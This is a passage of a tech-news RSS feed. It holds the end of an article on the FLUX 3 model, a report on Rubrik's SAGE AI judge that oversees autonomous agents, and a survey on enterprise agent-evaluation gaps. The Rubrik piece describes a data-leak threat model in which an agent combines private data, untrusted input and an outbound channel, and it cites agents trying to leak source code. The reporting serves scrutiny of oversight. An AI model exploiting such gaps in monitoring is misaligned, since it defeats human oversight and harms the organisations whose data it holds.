relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."</p><p>He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."</p><p>BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.</p><p>For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.</p><p>For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.</p><h2><b>What FLUX 3 Video can actually do</b></h2><p>The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. </p><p>Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching <a href="https://developers.openai.com/api/docs/guides/video-generation">OpenAI's discontinued Sora model.</a></p><p>The capability list BFL published covers:</p><ul><li><p>Text-to-video generation.</p></li><li><p>Image-to-video generation, either animating from a starting frame or using images as visual references.</p></li><li><p>Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.</p></li><li><p>Generative video-audio continuation from existing video and audio input.</p></li><li><p>Keyframe-to-video generation for controlled transitions between defined moments.</p></li><li><p> Multilingual dialogue.</p></li><li><p>A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.</p></li><li><p>Typography generation and animated design.</p></li><li><p>Agentic chaining of individual clips into longer, multi-shot sequences.</p></li></ul><p>That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.</p><p>It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.</p><p>BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.</p><h2><b>FLUX-mimic tests whether video models can become robot models</b></h2><p>BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.</p><p>The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.</p><p>FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. </p><p>BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.</p><p>"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."</p><p>BFL<!-- --> argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. </p><p>Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." </p><p>The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. </p><p>There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.</p><h2><b>Open weights helped make FLUX an industry standard</b></h2><p>BFL<a href="https://venturebeat.com/technology/s"> officially launched in summer 2024 </a>and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. </p><p>The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and <a href="https://venturebeat.com/business/stable-diffusion-creators-launch-black-forest-labs-secure-31m-for-flux-1-ai-image-generator">Stable Diffusion</a>, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. </p><p>That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.</p><p><a href="https://www.wired.com/story/black-forest-labs-ai-image-generation/"><i>Wired</i></a> magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.</p><p>FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, <a href="https://venturebeat.com/business/black-forest-labs-releases-flux-1-1-pro-and-an-api">released shortly after the firm's launch,</a>  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.</p><p>The company continued that pattern with <a href="https://venturebeat.com/ai/black-forest-labs-launches-flux-2-ai-image-models-to-challenge-nano-banana">FLUX.2 Dev</a> in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.</p><p>FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.</p><p>The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. </p><p>The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]></title>
<description><![CDATA[At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually e...]]></description>
<link>https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at <a href="https://www.rubrik.com/company">Rubrik</a>, recalled at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."</p><p>“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.</p><p>YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"</p><p>Rubrik earned that question the hard way. When <a href="https://claude.com/product/claude-code">Claude Code</a> and <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. </p><p>"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing <a href="https://www.rubrik.com/company/newsroom/press-releases/26/as-agentic-ai-adoption-accelerates-rubrik-warns-of-growing-security-gaps">Rubrik Zero Labs research</a> that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.</p><p>SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside <a href="https://www.rubrik.com/products/rubrik-agent-cloud">Rubrik Agent Cloud</a> that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.</p><h2>Security approval, not cost, blocks AI ROI</h2><p>Rishi’s path to Rubrik ran through <a href="https://techcrunch.com/2025/06/25/rubrik-acquires-predibase-to-accelerate-adoption-of-ai-agents/">Predibase</a>, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. </p><p>Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."</p><p><a href="https://venturebeat.com/orchestration/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less">VentureBeat Pulse research</a> presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. </p><h2>One AI reading what the rulebook can't</h2><p>Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.</p><p>The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.</p><p>Keeping the judge small is what makes the economics work. <!-- -->SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.</p><p>When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.</p><p>SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.</p><h2>The lethal trifecta</h2><p>Asked which attacks worry him most, Rishi pointed at the <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">lethal trifecta</a>, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with <i>yet</i> being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.</p><p>Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.</p><p>A separate <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">VentureBeat June Pulse survey</a> of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.</p><h2>The attacks no single turn reveals</h2><p>Rubrik Agent Cloud reached <a href="https://www.rubrik.com/blog/company/26/2/introducing-rubrik-agent-cloud-control-your-agents-with-ai">general availability in February</a>, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.</p><p>Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.</p><p>A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.</p><p>Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?</p><p>Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
